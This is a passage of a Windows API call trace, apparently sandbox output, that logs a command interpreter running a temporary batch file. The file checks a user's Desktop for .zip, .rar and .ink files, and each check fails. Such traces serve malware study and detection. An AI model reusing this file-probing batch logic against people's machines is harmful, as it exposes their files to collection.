Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.104] GetProcessHeap () returned 0x4e0000 [0039.104] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.104] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.104] GetProcessHeap () returned 0x4e0000 [0039.104] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.104] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.105] _tell (_FileHandle=3) returned 1895 [0039.105] _close (_FileHandle=3) returned 0 [0039.105] GetFullPathNameW (in: lpFileName="*.zip", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", lpFilePart=0x41eea8*="*.zip") returned 0x2b [0039.105] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.106] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.106] GetLastError () returned 0x2 [0039.106] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.106] GetLastError () returned 0x6 [0039.106] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.106] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.106] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.106] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.107] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.107] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.107] SetConsoleInputExeNameW () returned 0x1 [0039.107] GetConsoleOutputCP () returned 0x1b5 [0039.107] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.107] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.107] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.107] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.107] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.108] SetFilePointer (in: hFile=0x74, lDistanceToMove=1895, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0039.108] GetProcessHeap () returned 0x4e0000 [0039.108] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.108] GetProcessHeap () returned 0x4e0000 [0039.108] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.108] GetProcessHeap () returned 0x4e0000 [0039.108] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.108] GetProcessHeap () returned 0x4e0000 [0039.108] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.108] GetProcessHeap () returned 0x4e0000 [0039.108] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.108] GetProcessHeap () returned 0x4e0000 [0039.108] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.108] GetProcessHeap () returned 0x4e0000 [0039.108] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.108] GetProcessHeap () returned 0x4e0000 [0039.108] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.108] GetProcessHeap () returned 0x4e0000 [0039.108] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.108] GetProcessHeap () returned 0x4e0000 [0039.108] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.108] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.108] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0039.109] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ec6, lpOverlapped=0x0) returned 1 [0039.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=1897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0039.109] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.zip goto zip\r\n\n\n") returned 2 [0039.109] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.109] GetFileType (hFile=0x74) returned 0x1 [0039.109] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0039.109] GetProcessHeap () returned 0x4e0000 [0039.109] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.109] GetProcessHeap () returned 0x4e0000 [0039.109] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.109] _tell (_FileHandle=3) returned 1897 [0039.109] _close (_FileHandle=3) returned 0 [0039.109] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.110] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.110] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=1897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0039.110] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0039.110] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ec4, lpOverlapped=0x0) returned 1 [0039.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=1922, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0039.110] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.rar goto rar\r\n\n\n") returned 25 [0039.110] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.110] GetFileType (hFile=0x74) returned 0x1 [0039.110] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0039.110] GetProcessHeap () returned 0x4e0000 [0039.110] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.110] GetProcessHeap () returned 0x4e0000 [0039.110] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.110] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.111] GetProcessHeap () returned 0x4e0000 [0039.111] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.111] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.111] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.111] GetProcessHeap () returned 0x4e0000 [0039.111] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.111] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.111] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.111] GetProcessHeap () returned 0x4e0000 [0039.111] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.111] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.111] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.111] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.111] GetProcessHeap () returned 0x4e0000 [0039.111] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.111] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.111] GetProcessHeap () returned 0x4e0000 [0039.111] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.111] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.111] GetProcessHeap () returned 0x4e0000 [0039.111] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.112] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.112] _tell (_FileHandle=3) returned 1922 [0039.112] _close (_FileHandle=3) returned 0 [0039.113] GetFullPathNameW (in: lpFileName="*.rar", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", lpFilePart=0x41eea8*="*.rar") returned 0x2b [0039.113] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.113] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.113] GetLastError () returned 0x2 [0039.113] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.113] GetLastError () returned 0x6 [0039.113] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.113] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.114] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.114] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.114] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.114] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.114] SetConsoleInputExeNameW () returned 0x1 [0039.114] GetConsoleOutputCP () returned 0x1b5 [0039.115] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.115] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.115] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.115] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.115] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.115] SetFilePointer (in: hFile=0x74, lDistanceToMove=1922, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0039.115] GetProcessHeap () returned 0x4e0000 [0039.115] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.115] GetProcessHeap () returned 0x4e0000 [0039.115] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.115] GetProcessHeap () returned 0x4e0000 [0039.115] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.115] GetProcessHeap () returned 0x4e0000 [0039.115] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.115] GetProcessHeap () returned 0x4e0000 [0039.115] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.115] GetProcessHeap () returned 0x4e0000 [0039.116] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.116] GetProcessHeap () returned 0x4e0000 [0039.116] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.116] GetProcessHeap () returned 0x4e0000 [0039.116] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.116] GetProcessHeap () returned 0x4e0000 [0039.116] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.116] GetProcessHeap () returned 0x4e0000 [0039.116] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.116] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0039.116] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1eab, lpOverlapped=0x0) returned 1 [0039.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=1924, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0039.116] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.rar goto rar\r\n\n\n") returned 2 [0039.116] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.116] GetFileType (hFile=0x74) returned 0x1 [0039.116] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0039.117] GetProcessHeap () returned 0x4e0000 [0039.117] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.117] GetProcessHeap () returned 0x4e0000 [0039.117] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.117] _tell (_FileHandle=3) returned 1924 [0039.117] _close (_FileHandle=3) returned 0 [0039.117] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.117] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.117] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=1924, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0039.117] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0039.117] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ea9, lpOverlapped=0x0) returned 1 [0039.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=1949, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0039.118] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.ink goto ink\r\n\n\n") returned 25 [0039.118] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.118] GetFileType (hFile=0x74) returned 0x1 [0039.118] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0039.118] GetProcessHeap () returned 0x4e0000 [0039.118] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.118] GetProcessHeap () returned 0x4e0000 [0039.118] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.118] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.118] GetProcessHeap () returned 0x4e0000 [0039.118] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.118] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.118] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.118] GetProcessHeap () returned 0x4e0000 [0039.118] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.118] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.118] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.118] GetProcessHeap () returned 0x4e0000 [0039.118] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.119] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.119] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.119] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.119] GetProcessHeap () returned 0x4e0000 [0039.119] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.119] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.119] GetProcessHeap () returned 0x4e0000 [0039.119] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.119] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.119] GetProcessHeap () returned 0x4e0000 [0039.119] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.119] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.120] _tell (_FileHandle=3) returned 1949 [0039.120] _close (_FileHandle=3) returned 0 [0039.120] GetFullPathNameW (in: lpFileName="*.ink", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", lpFilePart=0x41eea8*="*.ink") returned 0x2b [0039.120] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.120] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.120] GetLastError () returned 0x2 [0039.120] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.120] GetLastError () returned 0x6 [0039.121] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.121] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.121] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.121] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.121] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.121] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.122] SetConsoleInputExeNameW () returned 0x1 [0039.122] GetConsoleOutputCP () returned 0x1b5 [0039.122] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.122] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.122] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.122] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.122] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.122] SetFilePointer (in: hFile=0x74, lDistanceToMove=1949, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0039.122] GetProcessHeap () returned 0x4e0000 [0039.122] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.122] GetProcessHeap () returned 0x4e0000 [0039.122] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.122] GetProcessHeap () returned 0x4e0000 [0039.122] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.123] GetProcessHeap () returned 0x4e0000 [0039.123] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.123] GetProcessHeap () returned 0x4e0000 [0039.123] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.123] GetProcessHeap () returned 0x4e0000 [0039.123] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.123] GetProcessHeap () returned 0x4e0000 [0039.123] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.123] GetProcessHeap () returned 0x4e0000 [0039.123] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.123] GetProcessHeap () returned 0x4e0000 [0039.123] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.123] GetProcessHeap () returned 0x4e0000 [0039.123] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.123] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.123] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0039.123] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e90, lpOverlapped=0x0) returned 1 [0039.123] SetFilePointer (in: hFile=0x74, lDistanceToMove=1951, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0039.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.ink goto ink\r\n\n\n") returned 2 [0039.123] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.123] GetFileType (hFile=0x74) returned 0x1 [0039.124] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.124] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0039.124] GetProcessHeap () returned 0x4e0000 [0039.124] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.124] GetProcessHeap () returned 0x4e0000 [0039.124] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.124] _tell (_FileHandle=3) returned 1951 [0039.124] _close (_FileHandle=3) returned 0 [0039.124] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.124] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.124] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.124] SetFilePointer (in: hFile=0x74, lDistanceToMove=1951, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0039.124] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.124] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0039.125] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e8e, lpOverlapped=0x0) returned 1 [0039.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=1976, lpDistanceToMoveHigh=0x0, 